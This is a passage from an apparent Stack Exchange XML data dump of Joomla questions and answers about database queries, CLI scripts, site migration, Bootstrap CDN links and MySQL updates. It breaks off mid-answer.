  <row Id="23730" PostTypeId="2" ParentId="23728" CreationDate="2018-11-11T01:42:47.380" Score="3" Body="&lt;p&gt;The label is in the 'fields' table so you could pull them with the values in a single query by using a join, eg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.value,b.label,b.id');&#xA;$query-&amp;gt;from($db-&amp;gt;qn('#__fields_values','a'));&#xA;$query-&amp;gt;join('INNER', $db-&amp;gt;qn('#__fields', 'b') . ' ON ' . $db-&amp;gt;qn('a.field_id') . ' = ' . $db-&amp;gt;qn('b.id'));&#xA;$query-&amp;gt;where($db-&amp;gt;qn('a.item_id') . ' = ' . $db-&amp;gt;q($item-&amp;gt;id));&#xA;$query-&amp;gt;where($db-&amp;gt;qn('b.context') . ' = ' . $db-&amp;gt;q('com_content.article'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$fields = $db-&amp;gt;loadObjectList('b.id'); // add the field id as the key&#xA;&#xA;// For testing to see the whole array&#xA;echo '&amp;lt;pre&amp;gt;' . print_r($fields,1) . '&amp;lt;/pre&amp;gt;';&#xA;&#xA;// To show only specific fields, eg for field id 4&#xA;echo '&amp;lt;p&amp;gt;' . $fields[4]-&amp;gt;label . ': ' . $fields[4]-&amp;gt;value . '&amp;lt;/p&amp;gt;';&#xA;&#xA;// to show all the fields - warning they wont be in the order set in the fields interface&#xA;foreach ($fields as $field_id =&amp;gt; $field) {&#xA;    echo '&amp;lt;p class=&quot;fid-' . $field_id . '&quot;&amp;gt;' . $field-&amp;gt;label . ': ' . $field-&amp;gt;value . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2018-11-11T22:29:12.320" LastActivityDate="2018-11-11T22:29:12.320" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23731" PostTypeId="2" ParentId="23727" CreationDate="2018-11-11T03:53:07.870" Score="1" Body="&lt;p&gt;There are a few extensions that can help enable AMP for Joomla. Here are some:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/wbamp-community-edition&quot; rel=&quot;nofollow noreferrer&quot;&gt;wbAMP Community Edition&lt;/a&gt; (Free)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/wbamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;wbAMP&lt;/a&gt; (Paid)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/accelerated-mobile-pages&quot; rel=&quot;nofollow noreferrer&quot;&gt;Accelerated Mobile Pages&lt;/a&gt; (Paid)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/jamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;JAmp&lt;/a&gt; (Paid)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is not an exhaustive list and you should probably &lt;a href=&quot;https://extensions.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;search the JED&lt;/a&gt; to see if there is anything else more suitable.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-11-11T03:53:07.870" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23732" PostTypeId="2" ParentId="10463" CreationDate="2018-11-11T11:25:33.050" Score="1" Body="&lt;p&gt;As at Joomla 3.9.0, there is a new &quot;User Actions Log&quot; included in the Joomla core which tracks logins, extension updates and extension configuration updates, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to enable the appropriate user actions plugins for this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6OuJY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6OuJY.png&quot; alt=&quot;User Actions Log&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-11-11T11:25:33.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23734" PostTypeId="1" AcceptedAnswerId="23768" CreationDate="2018-11-11T19:20:25.103" Score="1" ViewCount="635" Body="&lt;p&gt;I have a Joomla website and I'm working on a Joomla command line interface application that would do some scheduled maintenance tasks. I follow the below article in building the cli app:&#xA;&lt;s&gt;https://docs.joomla.org/How_to_create_a_stand-alone_application_using_the_Joomla!_Platform&lt;/s&gt; &lt;a href=&quot;https://web.archive.org/web/20190130144121/https://docs.joomla.org/How_to_create_a_stand-alone_application_using_the_Joomla!_Platform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wayback link to 2019 version of documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;... and also took a look at the files in my &amp;quot;cli&amp;quot; directory, for example garbabecron.php to learn how this should work.&lt;/p&gt;&#xA;&lt;p&gt;Please see below my test file that is basically identical to garbagecron.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Cli&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;/**&#xA; * A command line cron job to trash expired cache data.&#xA; */&#xA;&#xA;// Initialize Joomla framework&#xA;const _JEXEC = 1;&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php'))&#xA;{&#xA;    require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;// Get the framework.&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;&#xA;// Bootstrap the CMS libraries.&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;/**&#xA; * Cron job to trash expired cache data.&#xA; *&#xA; * @since  2.5&#xA; */&#xA;class GarbageCron extends JApplicationCli&#xA;{&#xA;    /**&#xA;     * Entry point for the script&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   2.5&#xA;     */&#xA;    public function doExecute()&#xA;    {&#xA;        $this-&amp;gt;out(&amp;quot;workin... \n&amp;quot;);&#xA;        echo &amp;quot;still working... \n&amp;quot;;&#xA;    }&#xA;}&#xA;&#xA;echo &amp;quot;started... \n&amp;quot;;&#xA;$cli = JApplicationCli::getInstance('GarbageCron')-&amp;gt;execute();&#xA;echo &amp;quot;ready... \n&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;During development I run the &lt;code&gt;test.php&lt;/code&gt; file from a terminal (in production it will be triggered by a cron job). It seems that the code runs until the line where I try to create and execute the JApplicationCli class, but then nothing happens. The program prints the trace &amp;quot;started&amp;quot;, but then nothing else. It seems like the object instantiation fails, but I don't get any error message either in the terminal. Please see the terminal output below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gonative@uk20 [~]# /usr/bin/php /home/gonative/public_html/dev/cli/test.php&#xA;Content-type: text/html; charset=UTF-8&#xA;&#xA;started... &#xA;gonative@uk20 [~]# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I doing wrong? The tutorial suggest a slightly different syntax as the one used in the garbagecron.php file. Which one is the right one? Does the garbagecron.php works at all? I was unable to prove this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&#xA;W.&lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12352" LastEditDate="2022-01-28T21:17:52.343" LastActivityDate="2022-01-28T21:17:52.343" Title="JApplicationCli command line interface app does not work as explained in the tutorial" Tags="|joomla-3.x|cli|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23736" PostTypeId="1" CreationDate="2018-11-12T07:43:45.693" Score="3" ViewCount="412" Body="&lt;p&gt;I am trying to migrate a Joomla website from server A to my server B. Everything seems to be working fine, except my administrator side / backend has the following issues:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am not able to access all my admin menus - every time that I press on a menu I get &lt;code&gt;#&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;My menu item labels show funny symbols as seen on the below screen shot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/70b8D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/70b8D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;b&gt;Warning&lt;/b&gt;&#xA;Your PHP version, 5.6.38, is only receiving fixes at this time from the PHP project. This means your PHP version will soon no longer be supported. We recommend planning to upgrade to a newer PHP version before it reaches end of support on 2018-10-01. Joomla will be faster and more secure if you upgrade to a newer PHP version (PHP 7.x is recommended). Please contact your host for upgrade instructions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13051" LastEditorUserId="12352" LastEditDate="2021-06-05T21:42:31.643" LastActivityDate="2021-06-05T21:42:31.643" Title="Can't access all administrator menus and menu labels have weird symbols" Tags="|joomla-3.x|php|administrator|menu|migration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23737" PostTypeId="1" CreationDate="2018-11-12T11:31:00.727" Score="1" ViewCount="188" Body="&lt;p&gt;I have several Joomla 3.9 websites now using Bootstrap 4x - currently v4.1.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the head of the index.php file for each website is this link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css&quot; integrity=&quot;sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the bottom of the index.php are these three scripts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://code.jquery.com/jquery-3.3.1.min.js&quot; integrity=&quot;sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=&quot;crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js&quot; integrity=&quot;sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49&quot; crossorigin=&quot;anonymous&quot; async&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js&quot; integrity=&quot;sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy&quot; crossorigin=&quot;anonymous&quot; async&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note: I am using jquery-3.3.1.min.js instead of the slim version as the slim version does not include scrollTop and other animation functions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bootstrap 4.1.3 is updated to the next version I would prefer not to have to go into each template and update all four links manually for each site. (Each template is different).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is upload two files to a subdomain, e.g. files.mydomain.co.uk, one containing the link to the stylesheet and the other containing the three scripts. I would then add links to those files in the index.php. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://files.mydomain.co.uk/bootstrap-min-css.php&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is a file containing the stackpath.bootstrapcdn.com stylesheet link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and for the three scripts just before the closing body tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;https://files.mydomain.co.uk/bootstrap-required.php&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it worked, I'd only have to update the link once each update.&#xA;I've tried it, but (probably not surprisingly) it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1: is what I want to do possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2: if yes, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 3: will Joomla 4x contain all these files, anyway? If so, I can probably manage until then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. Can someone with the appropriate reputation please add a tag for Bootstrap 4x? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2018-11-12T12:04:18.063" LastActivityDate="2018-11-12T12:04:18.063" Title="How to link to external file that contains a link to the Boostrap stylesheet and another for the js files" Tags="|bootstrap|joomla-3.9|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23738" PostTypeId="2" ParentId="23726" CreationDate="2018-11-12T15:21:17.277" Score="0" Body="&lt;p&gt;It seems that your Joomla application doesn't have the right permissions to your session's save_path folder. You can get the session's save_path by using &lt;code&gt;phpinfo()&lt;/code&gt;. You should ensure that the Linux user powering your Joomla website has permissions to read and write from that folder.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-11-12T15:21:17.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23739" PostTypeId="2" ParentId="23734" CreationDate="2018-11-12T16:27:44.777" Score="0" Body="&lt;p&gt;Normal echo commands don't work within in CLI commands.  Try this instead: &lt;code&gt;$this-&amp;gt;out(&quot;started...&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-11-12T16:27:44.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23741" PostTypeId="1" AcceptedAnswerId="23742" CreationDate="2018-11-13T01:35:09.047" Score="1" ViewCount="90" Body="&lt;p&gt;I need to create a knowledge bank portal where user with permission can upload and also download the document such pdf,docx. The other user such as public can use search to search document and download. I made it from scratch and it almost done but suddenly I need to use the Joomla to create the portal. I'm still new in using Joomla. Is it possible to have the upload/download function in joomla??I want the function same with the example below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;user with permission can upload the document and it will display at the table and then the user can download it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6WdFS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WdFS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's same to other page. User with permission can upload the document and it will display at the table and then the user can download it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xRF6v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRF6v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is the document will show in the table at the page where the document uploaded. Then, public or guest use search to search the document and download. Can someone help me!!!&lt;/p&gt;&#xA;" OwnerUserId="13053" LastEditorUserId="13053" LastEditDate="2018-11-13T01:48:35.570" LastActivityDate="2018-11-13T06:52:35.030" Title="Upload and download Joomla" Tags="|joomla-3.x|file-upload|download|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23742" PostTypeId="2" ParentId="23741" CreationDate="2018-11-13T06:52:35.030" Score="1" Body="&lt;p&gt;The easiest way to implement this would probably be to install a download extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like &lt;a href=&quot;https://extensions.joomla.org/extension/jdownloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;jDownloads&lt;/a&gt; will do what you need and it's free:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Access Rights for Categories: You can set the 'download' rights for categories and downloads for every Joomla user group. So it is possible, for example, that all guests can view the category (and the files) but only registered users can download the files. And say users with Publisher or similar rights can create new Downloads including uploading the main download file, together with preview text, images, audio clips (MP3) and video clips (MP4).&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are likely others in the &lt;a href=&quot;https://extensions.joomla.org/extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-11-13T06:52:35.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23743" PostTypeId="1" CreationDate="2018-11-13T08:16:14.217" Score="0" ViewCount="287" Body="&lt;p&gt;I am trying to order &lt;code&gt;jos_menu&lt;/code&gt; items by the order in which they appear on the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I am using jdatabase sql queries to fetch menu objects then iterate through them to display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is accomplished in other components table by the ordering column, however I can't seem to find the ordering column on the &lt;code&gt;jos_menu&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="11025" LastEditorUserId="12352" LastEditDate="2019-04-12T23:02:47.357" LastActivityDate="2019-04-13T17:59:22.523" Title="Ordering Joomla menus in code" Tags="|joomla-3.x|menu-item|sql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23744" PostTypeId="2" ParentId="23743" CreationDate="2018-11-13T09:07:23.640" Score="0" Body="&lt;p&gt;Before you start, you should look into Joomla's &lt;code&gt;Menu&lt;/code&gt; library. Maybe it already does what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu table uses nested structure. Menu items have parents and levels. Ordering is defined by &lt;code&gt;lft&lt;/code&gt; and &lt;code&gt;rgt&lt;/code&gt; columns. To get a flat list of items ordered by &quot;ordering&quot; you can order by &lt;code&gt;lft&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-11-13T09:07:23.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23745" PostTypeId="2" ParentId="23582" CreationDate="2018-11-13T13:02:22.393" Score="2" Body="&lt;p&gt;Okay, I'll explain by using a fictitious value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to reference the &lt;code&gt;#__users&lt;/code&gt; table and the &lt;code&gt;#__fields_values&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are only dealing with logged in users, you will need to acquire the user's id via &lt;code&gt;JFactory::getUser()-&amp;gt;id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will need to know the &lt;code&gt;field_id&lt;/code&gt; that the &lt;code&gt;gender&lt;/code&gt; value is stored with in the &lt;code&gt;#__fields_values&lt;/code&gt; table.  For my example below I'll use &lt;code&gt;28&lt;/code&gt; as the &lt;code&gt;field_id&lt;/code&gt; value; if you don't know what the correct &lt;code&gt;field_id&lt;/code&gt; value is for your project, you can search for it in the &lt;code&gt;#__fields&lt;/code&gt; table the integer that you need to source is in the &lt;code&gt;id&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By performing an INNER JOIN on the two tables, using two conditions in the WHERE clause and calling for a single value in the result set via &lt;code&gt;loadResult()&lt;/code&gt;, you shall have your &lt;code&gt;gender&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $db = JFactory::getDbo();&#xA;    $user_id = JFactory::getUser()-&amp;gt;id;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select(&quot;b.value AS gender&quot;)&#xA;        -&amp;gt;from(&quot;#__users a&quot;)&#xA;        -&amp;gt;innerJoin(&quot;#__fields_values b ON a.id = b.item_id&quot;)&#xA;        -&amp;gt;where([&quot;b.field_id = 28&quot;, &quot;b.item_id = &quot; . (int)$user_id]);  // $user_id should already be an integer, but cast to be extra safe&#xA;    $db-&amp;gt;setQuery($query);&#xA;    // JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');&#xA;    if (!$gender = $db-&amp;gt;loadResult()) {&#xA;        echo &quot;&amp;lt;p&amp;gt;No Value Found&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;p&amp;gt;$gender&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // don't show $e-&amp;gt;getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. if you don't want to hardcode the &quot;28&quot; into your query, you can perform a dynamic lookup of the number, but that will require another JOIN with the &lt;code&gt;#__fields&lt;/code&gt; table -- this is not likely to worth the effort in most cases.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-11-13T13:02:22.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23746" PostTypeId="2" ParentId="23736" CreationDate="2018-11-13T13:11:28.050" Score="2" Body="&lt;p&gt;As one commenter suggested, try clearing your browser cache and the Joomla cache and see if that fixes the problem (also try restarting your browser and restart your Internet modem). If that doesn't fix the problem, then open the Chrome console when in the backend (press F12 and then click on console in your browser), and see which files are returning a 404. Once you make a list of these files, check their permissions (and their parent folders' permissions) and ensure that they can be read by the Apache server. If that also doesn't work, then re-upload these files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when you move a website from one server to another, you might have transient issues like this one which will resolve themselves once DNS propagation is complete. &lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-11-13T13:11:28.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23747" PostTypeId="1" CreationDate="2018-11-13T17:01:36.567" Score="0" ViewCount="755" Body="&lt;p&gt;I am a Joomla Beginner and would like to know, how I can edit the HTML-Code of a specific webpage in Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not talking about editing an article, but the whole URL. And just a single one! Is there a way to upload a HTML-File that replaces a specific URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13055" LastActivityDate="2018-11-16T13:39:02.667" Title="Edit HTML-Code of specific Joomla Page" Tags="|joomla-3.x|url|file-upload|jhtml|beginner|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23749" PostTypeId="2" ParentId="23624" CreationDate="2018-11-13T18:41:44.327" Score="1" Body="&lt;p&gt;Eventually I managed to figure it out and the resulting code is as follows, perhaps it will help someone else in the future if they require a similar solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select t2.id, CONCAT( &quot; &quot;, t2.firstname, t2.lastname) as whole_name&#xA;FROM #__comprofiler as t1, #__comprofiler as t2&#xA;where t1.cb_service_name = t2.cb_service_name&#xA;and t2.cb_role = &quot;team_leader&quot;&#xA;    and t1.user_id = [user_id] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting the results to link to the profile of the respective user was done by using a &quot;column_&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks to all those who offered their help with this, much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12905" LastActivityDate="2018-11-13T18:41:44.327" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23750" PostTypeId="1" CreationDate="2018-11-13T19:16:48.967" Score="2" ViewCount="117" Body="&lt;p&gt;I'm wondering if there is J-API way to parse and format numbers (like JDate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you convert decimal numbers into different locales, the user can enter numbers in this way &quot;1.234.567,891&quot; and Joomla must save it to SQL as &quot;1234567.891&quot; and finally the number must be shown back as &quot;1.234.567,891&quot;. Of course, most users only enter &quot;1234567,891&quot;, and the conversion to SQL must work similarly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like numfmt_parse and numfmt_format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );&#xA;$num = &quot;1.234.567,891&quot;;&#xA;echo numfmt_parse($fmt, $num).&quot;\n&quot;;&#xA;echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32).&quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any better way to convert floats according to the user locale?&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2018-11-14T10:03:14.540" LastActivityDate="2018-12-06T08:02:40.600" Title="Number parsing and formatting, according to the user locale" Tags="|joomla-api|format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23751" PostTypeId="1" AcceptedAnswerId="23752" CreationDate="2018-11-13T20:31:45.883" Score="0" ViewCount="1709" Body="&lt;p&gt;I'm struggling to get this MySQL query to work and hoping someone out there can help please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to &quot;copy&quot; one record from table traincomprofiler to course_dates where both tables share the column 'user_id'. Currently the following code works to 'select' the correct data for the table traincomprofiler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT t1.cb_area_code&#xA;FROM traincomprofiler as t1, traincomprofiler AS t2 &#xA;WHERE t1.cb_role = 'services'&#xA;AND t1.cb_service_name = t2.cb_service_name&#xA;AND t2.user_id = [user_id] ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note: The [user_id] simply establishes the id of the currently logged in user for CB)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when I have tried to insert into the table course_dates using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO course_dates&#xA;SET area_code =&#xA;(SELECT t1.cb_area_code&#xA;FROM traincomprofiler as t1, traincomprofiler AS t2 &#xA;WHERE t1.cb_role = 'services'&#xA;AND t1.cb_service_name = t2.cb_service_name&#xA;AND t2.user_id = [user_id] ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It results in the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Duplicate entry '0' for key 'user_id'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I try to UPDATE with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE course_dates&#xA;SET area_code =&#xA;(SELECT t1.cb_area_code&#xA;FROM traincomprofiler as t1, traincomprofiler AS t2 &#xA;WHERE t1.cb_role = 'services'&#xA;AND t1.cb_service_name = t2.cb_service_name&#xA;AND t2.user_id = [user_id] ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results in every record in course_dates.area_code being populated with the result rather than just the correct user!&#xA;This SQL query is being run through Community Builder Auto Action which is a great way for me to work with MySQL but this has me stumped.&#xA;Can anyone help please? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="12905" LastActivityDate="2018-11-13T21:08:35.510" Title="MySQL update select one table from another" Tags="|mysql|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23752" PostTypeId="2" ParentId="23751" CreationDate="2018-11-13T21:08:35.510" Score="0" Body="&lt;p&gt;You are missing a &lt;code&gt;WHERE&lt;/code&gt; clause for &lt;code&gt;UPDATE/SET&lt;/code&gt; statement to indicate that a row with specific user ID must be updated. It's not to be mistaken with the clause inside &lt;code&gt;SELECT&lt;/code&gt; statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE course_dates as cd&#xA;SET cd.area_code =&#xA;(SELECT t1.cb_area_code&#xA;FROM traincomprofiler as t1, traincomprofiler AS t2 &#xA;WHERE t1.cb_role = 'services'&#xA;AND t1.cb_service_name = t2.cb_service_name&#xA;AND t2.user_id = [user_id] ) WHERE cd.user_id = [user_id] ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure what's the purpose of selecting a value of one table from two identical tables. So perhaps second table can be removed. This would be the result (haven't 